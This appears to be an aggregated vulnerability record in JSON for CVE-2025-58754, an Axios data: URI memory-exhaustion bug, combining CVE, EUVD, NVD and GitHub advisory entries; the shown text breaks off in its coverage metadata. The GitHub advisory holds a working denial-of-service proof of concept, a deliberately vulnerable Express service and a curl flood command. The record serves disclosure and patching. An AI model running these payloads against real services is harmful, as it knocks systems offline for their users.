{"id":"CVE-2025-58754","revision":null,"records":[{"revision":"575c05cacdb14d81bd402bcece17c009","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-58754","aliases":[],"title":"Axios is vulnerable to DoS attack through lack of data size check","description":"Axios is a promise based HTTP client for the browser and Node.js. When Axios starting in version 0.28.0 and prior to versions 0.30.2 and 1.12.0 runs on Node.js and is given a URL with the `data:` scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200 response. This path ignores `maxContentLength` / `maxBodyLength` (which only protect HTTP responses), so an attacker can supply a very large `data:` URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested `responseType: 'stream'`. Versions 0.30.2 and 1.12.0 contain a patch for the issue.","state":0,"publishedAt":"2025-09-12T01:16:40.513+00:00","modifiedAt":"2026-01-16T14:50:09.107+00:00","affected":[{"ecosystem":"Vendor product","name":"axios","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"axios\",\n                    \"product\": \"axios\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 1.0.0, < 1.12.0\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 0.28.0, < 0.30.2\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/axios/axios/security/advisories/GHSA-4hjh-wcwx-xvwj","https://github.com/axios/axios/pull/7011","https://github.com/axios/axios/pull/7034","https://github.com/axios/axios/commit/945435fc51467303768202250debb8d4ae892593","https://github.com/axios/axios/commit/a1b1d3f073a988601583a604f5f9f5d05a3d0b67","https://github.com/axios/axios/commit/c30252f685e8f4326722de84923fcbc8cf557f06","https://github.com/axios/axios/releases/tag/v0.30.2","https://github.com/axios/axios/releases/tag/v1.12.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-58754","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-58754","identifiers":["CVE-2025-58754"]},"retained":false,"historicalAffected":[]},{"revision":"34e916a65c4f45de9ee297cb1016e8dd","observedAt":"2026-11-07T02:42:54.208+00:00","statement":{"source":"euvd","id":"EUVD-2025-28992","aliases":["CVE-2025-58754","GHSA-4hjh-wcwx-xvwj"],"title":"Axios is a promise based HTTP client for the browser and Node.js. When Axios starting in version 0.28.0 and prior to versions 0.30.2 and 1.12.0 runs on Node.js and is given a URL with the `data:` scheme, it does not perform HTTP. Instead, i…","description":"Axios is a promise based HTTP client for the browser and Node.js. When Axios starting in version 0.28.0 and prior to versions 0.30.2 and 1.12.0 runs on Node.js and is given a URL with the `data:` scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200 response. This path ignores `maxContentLength` / `maxBodyLength` (which only protect HTTP responses), so an attacker can supply a very large `data:` URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested `responseType: 'stream'`. Versions 0.30.2 and 1.12.0 contain a patch for the issue.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/axios/axios/security/advisories/GHSA-4hjh-wcwx-xvwj","https://github.com/axios/axios/pull/7011","https://github.com/axios/axios/pull/7034","https://github.com/axios/axios/commit/945435fc51467303768202250debb8d4ae892593","https://github.com/axios/axios/commit/a1b1d3f073a988601583a604f5f9f5d05a3d0b67","https://github.com/axios/axios/commit/c30252f685e8f4326722de84923fcbc8cf557f06","https://github.com/axios/axios/releases/tag/v0.30.2","https://github.com/axios/axios/releases/tag/v1.12.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-28992","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 12, 2025, 1:16:40 AM","dateUpdated":"Jan 16, 2026, 2:50:09 PM"},"relatedAdvisories":[{"id":"RHSA-2026:4215","title":"Red Hat Security Advisory: Red Hat Quay 3.14.6","vulnerabilityIds":["CVE-2022-30187","CVE-2024-34156","CVE-2024-47081","CVE-2025-12816","CVE-2025-15284","CVE-2025-45768","CVE-2025-47273","CVE-2025-47913","CVE-2025-50181","CVE-2025-52881","CVE-2025-58183","CVE-2025-58754","CVE-2025-59420","CVE-2025-61729","CVE-2025-61920","CVE-2025-65945","CVE-2025-66418","CVE-2025-66471","CVE-2025-66506","CVE-2026-21441","CVE-2026-24049"]},{"id":"RHSA-2026:6226","title":"Red Hat Security Advisory: Multicluster Global Hub 1.6.2 security update","vulnerabilityIds":["CVE-2025-47907","CVE-2025-57810","CVE-2025-58183","CVE-2025-58754","CVE-2025-59343","CVE-2025-61726","CVE-2025-61728","CVE-2025-61729","CVE-2025-68121","CVE-2026-27571"]},{"id":"RHSA-2026:41928","title":"Red Hat Security Advisory: Red Hat Migration Toolkit for Containers","vulnerabilityIds":["CVE-2025-7783","CVE-2025-12816","CVE-2025-13465","CVE-2025-15284","CVE-2025-52881","CVE-2025-58183","CVE-2025-58754","CVE-2025-61726","CVE-2025-61729","CVE-2025-62718","CVE-2025-66031","CVE-2025-66418","CVE-2025-66471","CVE-2025-66506","CVE-2025-68121","CVE-2025-69223","CVE-2025-69227","CVE-2025-69228","CVE-2026-4800","CVE-2026-6322","CVE-2026-9277","CVE-2026-9595","CVE-2026-12143","CVE-2026-13149","CVE-2026-13676","CVE-2026-21441","CVE-2026-22029","CVE-2026-23490","CVE-2026-23745","CVE-2026-25679","CVE-2026-25681","CVE-2026-27136","CVE-2026-27137","CVE-2026-29063","CVE-2026-30922","CVE-2026-32280","CVE-2026-32281","CVE-2026-32283","CVE-2026-33186","CVE-2026-33810","CVE-2026-33811","CVE-2026-34986","CVE-2026-39820","CVE-2026-39821","CVE-2026-40895","CVE-2026-42264","CVE-2026-42338","CVE-2026-42499","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44495","CVE-2026-44496","CVE-2026-45736","CVE-2026-45822","CVE-2026-48779"]},{"id":"RHSA-2026:1942","title":"Red Hat Security Advisory: Red Hat Quay 3.15.3","vulnerabilityIds":["CVE-2024-34156","CVE-2025-12816","CVE-2025-15284","CVE-2025-47907","CVE-2025-47913","CVE-2025-52881","CVE-2025-58183","CVE-2025-58754","CVE-2025-59420","CVE-2025-61729","CVE-2025-65945","CVE-2025-66418","CVE-2025-66471","CVE-2025-66506","CVE-2026-21441","CVE-2026-24049"]},{"id":"RHSA-2025:19804","title":"Red Hat Security Advisory: RHACS 4.7.8 security and bug fix update","vulnerabilityIds":["CVE-2025-58754"]},{"id":"SSA-485750","title":"SSA-485750: Multiple Vulnerabilities in SIDIS Prime Before V4.0.800","vulnerabilityIds":["CVE-2024-29857","CVE-2024-30171","CVE-2024-30172","CVE-2024-41996","CVE-2025-6965","CVE-2025-7783","CVE-2025-9230","CVE-2025-9232","CVE-2025-9670","CVE-2025-12816","CVE-2025-15284","CVE-2025-58751","CVE-2025-58752","CVE-2025-58754","CVE-2025-62522","CVE-2025-64718","CVE-2025-64756","CVE-2025-66030","CVE-2025-66031","CVE-2025-66035","CVE-2025-66412","CVE-2025-69277","CVE-2026-22610"]},{"id":"RHSA-2026:86618","title":"Red Hat Security Advisory: New container image: rhceph-9.2","vulnerabilityIds":["CVE-2023-46159","CVE-2024-47866","CVE-2024-48916","CVE-2024-55565","CVE-2025-12816","CVE-2025-15599","CVE-2025-26791","CVE-2025-30156","CVE-2025-50181","CVE-2025-50182","CVE-2025-58754","CVE-2025-59343","CVE-2025-62718","CVE-2025-66030","CVE-2025-66035","CVE-2025-66412","CVE-2025-69873","CVE-2026-0540","CVE-2026-21441","CVE-2026-22610","CVE-2026-25639","CVE-2026-26996","CVE-2026-27903","CVE-2026-27904","CVE-2026-27970","CVE-2026-32141","CVE-2026-33228","CVE-2026-33671","CVE-2026-33672","CVE-2026-33891","CVE-2026-33894","CVE-2026-33895","CVE-2026-33896","CVE-2026-39865","CVE-2026-40175","CVE-2026-40895","CVE-2026-41238","CVE-2026-41239","CVE-2026-41240","CVE-2026-41305","CVE-2026-42033","CVE-2026-42034","CVE-2026-42035","CVE-2026-42036","CVE-2026-42037","CVE-2026-42038","CVE-2026-42039","CVE-2026-42040","CVE-2026-42041","CVE-2026-42042","CVE-2026-42043","CVE-2026-42044","CVE-2026-50152","CVE-2026-58224"]},{"id":"WID-SEC-W-2025-2465","title":"IBM InfoSphere Information Server (Axios): Schwachstelle ermöglicht Denial of Service","vulnerabilityIds":["CVE-2025-58754"]},{"id":"RHSA-2025:18252","title":"Red Hat Security Advisory: Kiali 2.11.4 for Red Hat OpenShift Service Mesh 3.1","vulnerabilityIds":["CVE-2025-58754"]},{"id":"ICSA-26-071-03","title":"Siemens SIDIS Prime","vulnerabilityIds":["CVE-2024-29857","CVE-2024-30171","CVE-2024-30172","CVE-2024-41996","CVE-2025-6965","CVE-2025-7783","CVE-2025-9230","CVE-2025-9232","CVE-2025-9670","CVE-2025-12816","CVE-2025-15284","CVE-2025-58751","CVE-2025-58752","CVE-2025-58754","CVE-2025-62522","CVE-2025-64718","CVE-2025-64756","CVE-2025-66030","CVE-2025-66031","CVE-2025-66035","CVE-2025-66412","CVE-2025-69277","CVE-2026-22610"]},{"id":"RHSA-2025:23546","title":"Red Hat Security Advisory: Red Hat Quay 3.16.0","vulnerabilityIds":["CVE-2024-34156","CVE-2025-47913","CVE-2025-58183","CVE-2025-58754"]},{"id":"RHSA-2025:22684","title":"Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes 2.12.6 security update","vulnerabilityIds":["CVE-2022-21698","CVE-2024-24786","CVE-2025-7195","CVE-2025-27144","CVE-2025-47907","CVE-2025-53547","CVE-2025-58754"]},{"id":"RHSA-2026:0718","title":"Red Hat Security Advisory: Moderate: Red Hat Advanced Cluster Management for Kubernetes v2.13.5 security update","vulnerabilityIds":["CVE-2025-7195","CVE-2025-9288","CVE-2025-47907","CVE-2025-58183","CVE-2025-58754"]},{"id":"RHSA-2025:22759","title":"Red Hat Security Advisory: RHOAI 2.22.3 - Red Hat OpenShift AI","vulnerabilityIds":["CVE-2025-9905","CVE-2025-12060","CVE-2025-47907","CVE-2025-53643","CVE-2025-58183","CVE-2025-58754","CVE-2025-62156","CVE-2025-62727"]},{"id":"NCSC-2026-0127","title":"Kwetsbaarheden verholpen in Oracle PeopleSoft","vulnerabilityIds":["CVE-2026-22019","CVE-2026-34266","CVE-2026-34269","CVE-2026-34277","CVE-2026-34280","CVE-2026-34295","CVE-2026-34299","CVE-2026-34300","CVE-2026-34301","CVE-2026-34306","CVE-2026-34307","CVE-2026-34309","CVE-2026-35241","CVE-2025-8194","CVE-2025-14017","CVE-2025-15467","CVE-2025-43967","CVE-2025-58754","CVE-2025-66418","CVE-2025-68161","CVE-2026-22006"]},{"id":"RHSA-2025:19961","title":"Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes 2.12.6 security update","vulnerabilityIds":["CVE-2025-7195","CVE-2025-47907","CVE-2025-53547","CVE-2025-58754"]},{"id":"NCSC-2026-0079","title":"Kwetsbaarheden verholpen in Siemens producten","vulnerabilityIds":["CVE-2024-29857","CVE-2024-30171","CVE-2024-30172","CVE-2024-41996","CVE-2025-6965","CVE-2025-7783","CVE-2025-9230","CVE-2025-9232","CVE-2025-9670","CVE-2025-12816","CVE-2025-15284","CVE-2025-27769","CVE-2025-40943","CVE-2025-55018","CVE-2025-58751","CVE-2025-58752","CVE-2025-58754","CVE-2025-62439","CVE-2025-62522","CVE-2025-64157","CVE-2025-64718","CVE-2025-64756","CVE-2025-66030","CVE-2025-66031","CVE-2025-66035","CVE-2025-66412","CVE-2025-69277","CVE-2026-22610","CVE-2026-24858","CVE-2026-25569","CVE-2026-25570","CVE-2026-25571","CVE-2026-25572","CVE-2026-25573","CVE-2026-25605"]},{"id":"RHSA-2025:19529","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.7.2 release.","vulnerabilityIds":["CVE-2025-58754","CVE-2025-59343"]},{"id":"RHSA-2025:19335","title":"Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes 2.14.1 security update","vulnerabilityIds":["CVE-2025-7195","CVE-2025-7783","CVE-2025-9287","CVE-2025-9288","CVE-2025-47907","CVE-2025-53547","CVE-2025-58754"]},{"id":"RHSA-2026:1018","title":"Red Hat Security Advisory: Red Hat OpenShift GitOps v1.17.4 security update","vulnerabilityIds":["CVE-2025-47913","CVE-2025-55190","CVE-2025-58183","CVE-2025-58754","CVE-2025-61729","CVE-2025-68156"]},{"id":"RHSA-2026:0627","title":"Red Hat Security Advisory: Red Hat Advanced Cluster Management for Kubernetes v2.13.5 security update","vulnerabilityIds":["CVE-2025-7195","CVE-2025-9287","CVE-2025-9288","CVE-2025-27144","CVE-2025-47907","CVE-2025-58183","CVE-2025-58754"]},{"id":"RHSA-2025:19221","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Container Release Update","vulnerabilityIds":["CVE-2025-9907","CVE-2025-9908","CVE-2025-58754","CVE-2025-59343","CVE-2025-59682"]},{"id":"RHSA-2025:23069","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update","vulnerabilityIds":["CVE-2025-9907","CVE-2025-9908","CVE-2025-9909","CVE-2025-58754","CVE-2025-59530","CVE-2025-64459"]},{"id":"RHSA-2025:16747","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.6.5 release.","vulnerabilityIds":["CVE-2025-58754"]},{"id":"RHSA-2025:19375","title":"Red Hat Security Advisory: RHACS 4.8.5 security and bug fix update","vulnerabilityIds":["CVE-2025-58754"]},{"id":"RHSA-2025:23131","title":"Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Container Release Update","vulnerabilityIds":["CVE-2025-9907","CVE-2025-9908","CVE-2025-9909","CVE-2025-58754","CVE-2025-59530","CVE-2025-62707","CVE-2025-62727","CVE-2025-64459"]},{"id":"msrc_CVE-2025-58754","title":"Axios is vulnerable to DoS attack through lack of data size check","vulnerabilityIds":["CVE-2025-58754"]},{"id":"WID-SEC-W-2025-2134","title":"Red Hat Enterprise Linux (Developer Hub): Schwachstelle ermöglicht Denial of Service","vulnerabilityIds":["CVE-2025-58754"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-28992","identifiers":["EUVD-2025-28992","CVE-2025-58754","GHSA-4hjh-wcwx-xvwj"]},"retained":false,"historicalAffected":[]},{"revision":"ca561dd03aad4ed082d8e47d71c3a50f","observedAt":"2026-10-25T03:17:18.142+00:00","statement":{"source":"nvd","id":"CVE-2025-58754","aliases":[],"title":"Axios is a promise based HTTP client for the browser and Node.js. When Axios starting in version 0.28.0 and prior to versions 0.30.2 and 1.12.0 runs on Node.js and is given a URL with the `data:` scheme, it does not perform HTTP. Instead, i…","description":"Axios is a promise based HTTP client for the browser and Node.js. When Axios starting in version 0.28.0 and prior to versions 0.30.2 and 1.12.0 runs on Node.js and is given a URL with the `data:` scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200 response. This path ignores `maxContentLength` / `maxBodyLength` (which only protect HTTP responses), so an attacker can supply a very large `data:` URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested `responseType: 'stream'`. Versions 0.30.2 and 1.12.0 contain a patch for the issue.","state":0,"publishedAt":"2025-09-12T02:15:46.873+00:00","modifiedAt":"2026-10-19T17:10:00.173+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/axios/axios/commit/945435fc51467303768202250debb8d4ae892593","https://github.com/axios/axios/commit/a1b1d3f073a988601583a604f5f9f5d05a3d0b67","https://github.com/axios/axios/commit/c30252f685e8f4326722de84923fcbc8cf557f06","https://github.com/axios/axios/pull/7011","https://github.com/axios/axios/pull/7034","https://github.com/axios/axios/releases/tag/v0.30.2","https://github.com/axios/axios/releases/tag/v1.12.0","https://github.com/axios/axios/security/advisories/GHSA-4hjh-wcwx-xvwj"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-58754","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Modified","weaknesses":["CWE-770"],"productCriteria":["cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2025-09-12T02:15:46.873","lastModified":"2026-10-19T17:10:00.173"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-58754","identifiers":["CVE-2025-58754"]},"retained":false,"historicalAffected":[]},{"revision":"b95e8cb6282d49b4a2c31a60e674c85f","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-4hjh-wcwx-xvwj","aliases":["CVE-2025-58754"],"title":"Axios is vulnerable to DoS attack through lack of data size check","description":"## Summary\n\nWhen Axios runs on Node.js and is given a URL with the `data:` scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200 response.\nThis path ignores `maxContentLength` / `maxBodyLength` (which only protect HTTP responses), so an attacker can supply a very large `data:` URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested `responseType: 'stream'`.\n\n## Details\n\nThe Node adapter (`lib/adapters/http.js`) supports the `data:` scheme. When `axios` encounters a request whose URL starts with `data:`, it does not perform an HTTP request. Instead, it calls `fromDataURI()` to decode the Base64 payload into a Buffer or Blob.\n\nRelevant code from [`[httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):\n\n```js\nconst fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);\nconst parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);\nconst protocol = parsed.protocol || supportedProtocols[0];\n\nif (protocol === 'data:') {\n  let convertedData;\n  if (method !== 'GET') {\n    return settle(resolve, reject, { status: 405, ... });\n  }\n  convertedData = fromDataURI(config.url, responseType === 'blob', {\n    Blob: config.env && config.env.Blob\n  });\n  return settle(resolve, reject, { data: convertedData, status: 200, ... });\n}\n```\n\nThe decoder is in [`[lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):\n\n```js\nexport default function fromDataURI(uri, asBlob, options) {\n  ...\n  if (protocol === 'data') {\n    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;\n    const match = DATA_URL_PATTERN.exec(uri);\n    ...\n    const body = match[3];\n    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');\n    if (asBlob) { return new _Blob([buffer], {type: mime}); }\n    return buffer;\n  }\n  throw new AxiosError('Unsupported protocol ' + protocol, ...);\n}\n```\n\n* The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.\n* It does **not** honour `config.maxContentLength` or `config.maxBodyLength`, which only apply to HTTP streams.\n* As a result, a `data:` URI of arbitrary size can cause the Node process to allocate the entire content into memory.\n\nIn comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when `totalResponseBytes` exceeds [`[maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for `data:` URIs.\n\n\n## PoC\n\n```js\nconst axios = require('axios');\n\nasync function main() {\n  // this example decodes ~120 MB\n  const base64Size = 160_000_000; // 120 MB after decoding\n  const base64 = 'A'.repeat(base64Size);\n  const uri = 'data:application/octet-stream;base64,' + base64;\n\n  console.log('Generating URI with base64 length:', base64.length);\n  const response = await axios.get(uri, {\n    responseType: 'arraybuffer'\n  });\n\n  console.log('Received bytes:', response.data.length);\n}\n\nmain().catch(err => {\n  console.error('Error:', err.message);\n});\n```\n\nRun with limited heap to force a crash:\n\n```bash\nnode --max-old-space-size=100 poc.js\n```\n\nSince Node heap is capped at 100 MB, the process terminates with an out-of-memory error:\n\n```\n<--- Last few GCs --->\n…\nFATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n1: 0x… node::Abort() …\n…\n```\n\nMini Real App PoC:\nA small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore `maxContentLength `, `maxBodyLength` and decodes into memory on Node before streaming enabling DoS.\n\n```js\nimport express from \"express\";\nimport morgan from \"morgan\";\nimport axios from \"axios\";\nimport http from \"node:http\";\nimport https from \"node:https\";\nimport { PassThrough } from \"node:stream\";\n\nconst keepAlive = true;\nconst httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });\nconst httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });\nconst axiosClient = axios.create({\n  timeout: 10000,\n  maxRedirects: 5,\n  httpAgent, httpsAgent,\n  headers: { \"User-Agent\": \"axios-poc-link-preview/0.1 (+node)\" },\n  validateStatus: c => c >= 200 && c < 400\n});\n\nconst app = express();\nconst PORT = Number(process.env.PORT || 8081);\nconst BODY_LIMIT = process.env.MAX_CLIENT_BODY || \"50mb\";\n\napp.use(express.json({ limit: BODY_LIMIT }));\napp.use(morgan(\"combined\"));\n\napp.get(\"/healthz\", (req,res)=>res.send(\"ok\"));\n\n/**\n * POST /preview { \"url\": \"<http|https|data URL>\" }\n * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).\n */\n\napp.post(\"/preview\", async (req, res) => {\n  const url = req.body?.url;\n  if (!url) return res.status(400).json({ error: \"missing url\" });\n\n  let u;\n  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: \"invalid url\" }); }\n\n  // Developer allows using data:// in the allowlist\n  const allowed = new Set([\"http:\", \"https:\", \"data:\"]);\n  if (!allowed.has(u.protocol)) return res.status(400).json({ error: \"unsupported scheme\" });\n\n  const controller = new AbortController();\n  const onClose = () => controller.abort();\n  res.on(\"close\", onClose);\n\n  const before = process.memoryUsage().heapUsed;\n\n  try {\n    const r = await axiosClient.get(u.toString(), {\n      responseType: \"stream\",\n      maxContentLength: 8 * 1024, // Axios will ignore this for data:\n      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:\n      signal: controller.signal\n    });\n\n    // stream only the first 64KB back\n    const cap = 64 * 1024;\n    let sent = 0;\n    const limiter = new PassThrough();\n    r.data.on(\"data\", (chunk) => {\n      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }\n      else { sent += chunk.length; limiter.write(chunk); }\n    });\n    r.data.on(\"end\", () => limiter.end());\n    r.data.on(\"error\", (e) => limiter.destroy(e));\n\n    const after = process.memoryUsage().heapUsed;\n    res.set(\"x-heap-increase-mb\", ((after - before)/1024/1024).toFixed(2));\n    limiter.pipe(res);\n  } catch (err) {\n    const after = process.memoryUsage().heapUsed;\n    res.set(\"x-heap-increase-mb\", ((after - before)/1024/1024).toFixed(2));\n    res.status(502).json({ error: String(err?.message || err) });\n  } finally {\n    res.off(\"close\", onClose);\n  }\n});\n\napp.listen(PORT, () => {\n  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);\n  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);\n});\n```\nRun this app and send 3 post requests:\n```sh\nSIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString(\"base64\"); process.stdout.write(JSON.stringify({url:\"data:application/octet-stream;base64,\"+b}))' \\\n| tee payload.json >/dev/null\nseq 1 3 | xargs -P3 -I{} curl -sS -X POST \"$URL\" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```\n```\n\n---\n\n## Suggestions\n\n1. **Enforce size limits**\n   For `protocol === 'data:'`, inspect the length of the Base64 payload before decoding. If `config.maxContentLength` or `config.maxBodyLength` is set, reject URIs whose payload exceeds the limit.\n\n2. **Stream decoding**\n   Instead of decoding the entire payload in one `Buffer.from` call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.","state":0,"publishedAt":"2025-09-11T21:07:55+00:00","modifiedAt":"2026-09-10T03:50:27.8608755+00:00","affected":[{"ecosystem":"npm","name":"axios","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.0.0"},{"kind":"fixed","version":"1.12.0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"axios","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0.28.0"},{"kind":"fixed","version":"0.30.2"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/axios/axios/security/advisories/GHSA-4hjh-wcwx-xvwj","https://nvd.nist.gov/vuln/detail/CVE-2025-58754","https://github.com/axios/axios/pull/7011","https://github.com/axios/axios/pull/7034","https://github.com/axios/axios/commit/945435fc51467303768202250debb8d4ae892593","https://github.com/axios/axios/commit/a1b1d3f073a988601583a604f5f9f5d05a3d0b67","https://github.com/axios/axios/commit/c30252f685e8f4326722de84923fcbc8cf557f06","https://github.com/axios/axios","https://github.com/axios/axios/releases/tag/v0.30.2","https://github.com/axios/axios/releases/tag/v1.12.0"],"sourceUrl":"https://github.com/advisories/GHSA-4hjh-wcwx-xvwj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-4hjh-wcwx-xvwj","identifiers":["GHSA-4hjh-wcwx-xvwj","CVE-2025-58754"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-08T22:02:16.0606753+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-08T22:02:16.0606753+00:00","lastSuccessAt":"2026-11-08T22:02:16.2994172+00:00","error":null,"lastVerifiedAt":"2026-11-08T22:02:16.2994182+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-eaa64dac63caa79c8d4905619258c41c51b39e461b996124e1a21b5e85e7e738-5c1b3bec2d88ca854826c6481a0dc8d7444a0d42f1465638fb0ec19ea1213afc","complete":true,"records":421267,"lastAttemptAt":"2026-11-08T22:02:15.5779251+00:00","lastSuccessAt":"2026-11-08T22:02:15.4942534+00:00","error":null,"lastVerifiedAt":"2026-11-08T22:02:15.5779251+00:00","snapshotPublishedAt":"2026-11-08T21:27:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-fd9e659eac384b31b6b54c14a478a6b6","complete":true,"records":13654,"lastAttemptAt":"2026-11-08T22:02:46.9922536+00:00","lastSuccessAt":"2026-11-08T22:02:46.989+00:00","error":null,"lastVerifiedAt":"2026-11-08T22:02:46.989+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13706,"expectedIdentifiers":13706,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-08T22:02:16.0606753+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-08T22:02:16.0606753+00:00","lastSuccessAt":"2026-11-08T22:02:16.3005264+00:00","error":null,"lastVerifiedAt":"2026-11-08T22:02:16.3005266+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is 